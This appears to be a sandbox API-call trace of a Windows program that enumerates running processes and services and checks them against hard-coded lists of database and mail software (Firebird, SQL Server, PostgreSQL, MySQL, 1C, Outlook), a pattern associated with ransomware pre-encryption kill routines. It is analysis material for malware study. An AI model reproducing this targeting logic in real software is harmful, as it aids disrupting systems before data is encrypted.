lstrlenW (lpString="winhost.exe") returned 11 [0261.675] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.676] lstrlenW (lpString="spoolsv.exe") returned 11 [0261.677] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.678] lstrlenW (lpString="svchost.exe") returned 11 [0261.678] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0261.679] lstrlenW (lpString="taskhost.exe") returned 12 [0261.679] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0261.679] lstrlenW (lpString="reader_sl.exe") returned 13 [0261.680] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0261.681] lstrlenW (lpString="taskhost.exe") returned 12 [0261.681] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0261.682] lstrlenW (lpString="dllhost.exe") returned 11 [0261.682] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0261.683] CloseHandle (hObject=0x3b0) returned 1 [0261.683] Sleep (dwMilliseconds=0x1f4) [0262.679] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e270 [0262.680] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0262.681] GetLastError () returned 0xea [0262.681] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x4332cd8 [0262.681] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4332cd8, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4332cd8, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0262.683] CloseServiceHandle (hSCObject=0x62e270) returned 1 [0262.684] lstrlenW (lpString="Appinfo") returned 7 [0262.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0262.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0262.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0262.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0262.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0262.684] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0262.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0262.684] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0262.684] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0262.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0262.685] lstrlenW (lpString="AudioSrv") returned 8 [0262.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0262.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0262.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0262.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0262.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0262.685] lstrlenW (lpString="BFE") returned 3 [0262.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0262.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0262.685] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0262.685] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0262.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0262.685] lstrlenW (lpString="CryptSvc") returned 8 [0262.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0262.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0262.686] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0262.686] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0262.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0262.686] lstrlenW (lpString="CscService") returned 10 [0262.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0262.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0262.686] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0262.686] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0262.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0262.686] lstrlenW (lpString="DcomLaunch") returned 10 [0262.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0262.687] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0262.687] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0262.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0262.687] lstrlenW (lpString="Dhcp") returned 4 [0262.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0262.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0262.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0262.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0262.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0262.687] lstrlenW (lpString="Dnscache") returned 8 [0262.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0262.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0262.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0262.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0262.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0262.688] lstrlenW (lpString="DPS") returned 3 [0262.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0262.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0262.688] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0262.688] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0262.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0262.688] lstrlenW (lpString="eventlog") returned 8 [0262.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0262.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0262.688] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0262.689] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0262.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0262.689] lstrlenW (lpString="EventSystem") returned 11 [0262.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0262.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0262.689] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0262.689] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0262.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0262.689] lstrlenW (lpString="gpsvc") returned 5 [0262.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0262.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0262.690] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0262.690] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0262.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0262.690] lstrlenW (lpString="iphlpsvc") returned 8 [0262.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0262.690] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0262.690] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0262.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0262.690] lstrlenW (lpString="LanmanServer") returned 12 [0262.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0262.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0262.691] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0262.691] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0262.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0262.691] lstrlenW (lpString="LanmanWorkstation") returned 17 [0262.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0262.691] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0262.691] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0262.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0262.691] lstrlenW (lpString="lmhosts") returned 7 [0262.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0262.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0262.691] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0262.692] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0262.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0262.692] lstrlenW (lpString="MMCSS") returned 5 [0262.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0262.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0262.692] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0262.692] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0262.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0262.692] lstrlenW (lpString="MpsSvc") returned 6 [0262.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0262.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0262.693] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0262.693] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0262.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0262.693] lstrlenW (lpString="Netman") returned 6 [0262.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0262.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0262.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0262.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0262.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0262.693] lstrlenW (lpString="netprofm") returned 8 [0262.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0262.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0262.694] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0262.694] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0262.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0262.694] lstrlenW (lpString="NlaSvc") returned 6 [0262.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0262.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0262.694] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0262.694] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0262.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0262.694] lstrlenW (lpString="nsi") returned 3 [0262.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0262.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0262.694] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0262.695] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0262.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0262.695] lstrlenW (lpString="PcaSvc") returned 6 [0262.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0262.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0262.695] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0262.695] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0262.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0262.695] lstrlenW (lpString="PlugPlay") returned 8 [0262.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0262.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0262.695] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0262.695] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0262.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0262.696] lstrlenW (lpString="Power") returned 5 [0262.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0262.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0262.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0262.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0262.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0262.696] lstrlenW (lpString="ProfSvc") returned 7 [0262.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0262.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0262.696] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0262.696] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0262.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0262.696] lstrlenW (lpString="RpcEptMapper") returned 12 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.697] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0262.697] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0262.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0262.697] lstrlenW (lpString="RpcSs") returned 5 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0262.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0262.697] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0262.697] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0262.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0262.697] lstrlenW (lpString="SamSs") returned 5 [0262.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0262.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0262.698] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0262.698] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0262.699] lstrlenW (lpString="Schedule") returned 8 [0262.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0262.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0262.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0262.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0262.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0262.699] lstrlenW (lpString="SENS") returned 4 [0262.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0262.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0262.699] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0262.700] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0262.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0262.700] lstrlenW (lpString="ShellHWDetection") returned 16 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.700] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0262.700] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0262.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0262.700] lstrlenW (lpString="Spooler") returned 7 [0262.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0262.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0262.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0262.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0262.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0262.701] lstrlenW (lpString="SysMain") returned 7 [0262.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0262.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0262.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0262.701] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0262.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0262.701] lstrlenW (lpString="Themes") returned 6 [0262.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0262.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0262.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0262.702] lstrlenW (lpString="TrkWks") returned 6 [0262.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0262.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0262.702] lstrlenW (lpString="UxSms") returned 5 [0262.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0262.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0262.702] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0262.702] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0262.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0262.703] lstrlenW (lpString="WdiServiceHost") returned 14 [0262.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0262.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0262.703] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0262.703] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0262.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0262.703] lstrlenW (lpString="WdiSystemHost") returned 13 [0262.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0262.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0262.703] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0262.703] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0262.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0262.704] lstrlenW (lpString="Winmgmt") returned 7 [0262.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0262.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0262.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0262.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0262.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0262.704] lstrlenW (lpString="WPDBusEnum") returned 10 [0262.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0262.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0262.704] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0262.704] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0262.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0262.705] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4332cd8 | out: hHeap=0x590000) returned 1 [0262.705] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0262.710] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.711] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.712] lstrlenW (lpString="System") returned 6 [0262.713] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0262.713] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0262.713] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0262.713] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0262.713] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0262.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0262.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0262.713] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.814] lstrlenW (lpString="smss.exe") returned 8 [0262.814] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0262.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0262.814] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0262.814] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0262.815] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0262.815] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0262.815] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0262.815] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.816] lstrlenW (lpString="csrss.exe") returned 9 [0262.816] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.816] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.816] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.816] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.816] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") 